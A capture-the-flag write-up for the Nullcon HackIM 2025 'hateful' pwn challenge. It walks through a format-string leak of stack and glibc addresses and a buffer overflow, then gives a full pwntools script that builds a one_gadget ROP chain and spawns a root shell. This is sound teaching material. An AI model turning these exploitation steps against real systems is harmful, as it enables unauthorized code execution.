hateful

This post is a write-up for the pwn.hateful challenge in Nullcon Goa HackIM 2025 CTF.
root@72f9eb9e3ebc:/chal/NULLCON/hateful# ./ld-linux-x86-64.so.2 --library-path . ./hateful
My Boss is EVIL!!! I hate my Boss!!! These are things you really want to say to your Boss don't you? well we can do that for you! send us the message you want to send your Boss and we will forward it to him :)
So? are you onboard? (yay/nay)
>> yay
We are pleased that you trust our service!
please provide your bosses email!
>> %p%p%p%p%p
email provided: 0x7ffeeaf30b30(nil)(nil)0x4020340x7fadc2321a80
now please provide the message!
AAAAAAAAAA
Got it! we will send the message for him later!
Well now all you have to do is wait ;)
We need to pop a shell for this pwn challenge. Let's directly open the binary file hateful
with Binary Ninja to inspect the High-Level IL.
We can discover the following vulnerabilities:
- The code
printf(format: &data_4020a)
at line0x401210
in thesend_message
function has a format string vulnerability. The format string is directly passed toprintf
without providing other arguments, which enables us to use%p
to print values on the stack and leak information from program memory, including register values. - The code
void buf
andfgets(&buf, n: 0x1000, fp: stdin)
at line0x40128a
in thesend_message
function has a buffer overflow vulnerability. This segment declares a local variablebuf
without explicitly specifying its size, starting from$rbp-0x3f0
in thesend_message
function stack, and afgets
call to read user input with a size limit of0x1000
into thebuf
. These factors enable us to input with a size that exceedsbuf
's actual size to overwrite return address to execute customized ROP chain.
Thus, this is obviously a challenge of buffer overflow followed by ROPping. Our idea is:
-
Use the command
gdb -q --args ./ld-linux-x86-64.so.2 --library-path . ./hateful
to debug the binary filehateful
. -
Make the program to call
printf("%p%p%p%p%p")
to print out five values on the stack. The pwntools debug view is as follows.please provide your bosses email! >> [DEBUG] Sent 0xb bytes: b'%p%p%p%p%p\n' [DEBUG] Received 0x10 bytes: b'email provided: ' email provided: [DEBUG] Received 0x2e bytes: b'0x7fff15623200(nil)(nil)0x4020340x7fc0651eaa80'
The gdb debug view is as follows, which shows that the first printed value is a stack address and the last printed value is a glibc address.
(remote) gef➤ vmmap 0x7fff15623200 [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x00007fff15607000 0x00007fff15628000 0x0000000000000000 rw- [stack] (remote) gef➤ vmmap 0x7fc0651eaa80 [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x00007fc0651ea000 0x00007fc0651ec000 0x00000000001d2000 rw- /chal/NULLCON/hateful/libc.so.6
-
Acquire the local variable
buf
starting address throughp/x $rbp-0x3f0
. Calculate the offset between the leak stack address andbuf
starting address, which is0x2190
. This is used to overwrite the__saved_rbp
in thesend_message
function stack. It should be noted that we can calculate any stack address to overwrite therbp
that ensuresrbp-0x38
is writable, which is one of our one_gadget constraint that must be satisfied (shown in 5). -
Acquire the glibc base address
0x00007fc065018000
throughvmmap
. Calculate the offset between the leak glibc address and glibc base address, which is0x1d2a80
. This is used to calculate addresses of multiple gadgets in glibc. -
Retrieve the one_gadget from the provided glibc file. The output is as follows.
root@72f9eb9e3ebc:/chal/NULLCON/hateful# one_gadget libc.so.6 0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ) constraints: address rsp+0x60 is writable rsp & 0xf == 0 rax == NULL || {"sh", rax, r12, NULL} is a valid argv rbx == NULL || (u16)[rbx] == NULL 0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ) constraints: address rsp+0x60 is writable rsp & 0xf == 0 rcx == NULL || {rcx, rax, r12, NULL} is a valid argv rbx == NULL || (u16)[rbx] == NULL 0xd511f execve("/bin/sh", rbp-0x40, r13) constraints: address rbp-0x38 is writable rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv [r13] == NULL || r13 == NULL || r13 is a valid envp
We choose
execve("/bin/sh", rbp-0x40, r13)
with an offset of0xd511f
to be our one_gadget to pop a shell. -
Form an ROP chain to pop a shell. This is used to overwrite from the
__return_addr
in thesend_message
function stack. According to the one_gadget constraints,rdi
andr13
registers have to be NULL. Our ROP chain is as follows.chain = [ glibc_r.rdi.address + glibc_base_addr, # pop rdi; ret 0x0, # NULL glibc_r.r13.address + glibc_base_addr, # pop r13; ret 0x0, # NULL 0xd511f + glibc_base_addr # one gadget ]
-
Send the payload with a
0x3f0
padding, therbp-0x38
writable stack address to overwrite the__saved_rbp
, and the ROP chain using the chosen one_gadget to pop a shell. The pwntools debug view is as follows.now please provide the message! [DEBUG] Sent 0x421 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 000003f0 30 64 cc 61 fc 7f 00 00 e5 c7 00 7b 5d 7f 00 00 │0d·a│····│···{│]···│ 00000400 00 00 00 00 00 00 00 00 30 e8 00 7b 5d 7f 00 00 │····│····│0··{│]···│ 00000410 00 00 00 00 00 00 00 00 1f a1 0b 7b 5d 7f 00 00 │····│····│···{│]···│ 00000420 0a │·│ 00000421 [*] Switching to interactive mode [DEBUG] Received 0x30 bytes: b'Got it! we will send the message for him later!\n' Got it! we will send the message for him later! $ whoami [DEBUG] Sent 0x7 bytes: b'whoami\n' [DEBUG] Received 0x1b bytes: b'Detaching from process 512\n' Detaching from process 512 [DEBUG] Received 0x5 bytes: b'root\n' root
The script using Pwntools to solve the challenge is shown below.
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-f']
CHALLENGE = "./hateful"
p = gdb.debug(['./ld-linux-x86-64.so.2', '--library-path', '.', CHALLENGE], '''
file hateful
ni
ni
b *(send_message+111)
b *(send_message+183)
continue
''')
# Stage 1: Leak stack address and glibc base address
print(p.recvuntil(b">> ").decode())
payload = b"yay"
p.sendline(payload)
print(p.recvuntil(b">> ").decode())
payload = b"%p%p%p%p%p"
p.sendline(payload)
print(p.recvuntil(b"email provided: ").decode())
addrs = p.recvuntil(b"\n").decode().strip()
stack_addr = int(addrs[0:14], 16) + 0x2190
glibc_base_addr = int(addrs[-14:], 16) - 0x1d2a80
print(f"stack_addr: {hex(stack_addr)}")
print(f"glibc_base_addr: {hex(glibc_base_addr)}")
# Stage 2: Form ROP chain with one gadget and send payload
glibc_r = ROP("libc.so.6")
chain = [
glibc_r.rdi.address + glibc_base_addr, # pop rdi; ret
0x0, # NULL
glibc_r.r13.address + glibc_base_addr, # pop r13; ret
0x0, # NULL
0xd511f + glibc_base_addr # one gadget
]
print(p.recvuntil(b"now please provide the message!\n").decode())
payload = b"A" * 0x3f0 + p64(stack_addr) + b"".join([p64(c) for c in chain])
p.sendline(payload)
p.interactive()
The captured flag is ENO{W3_4R3_50RRY_TH4T_TH3_M3554G3_W45_N0T_53NT_T0_TH3_R1GHT_3M41L}
.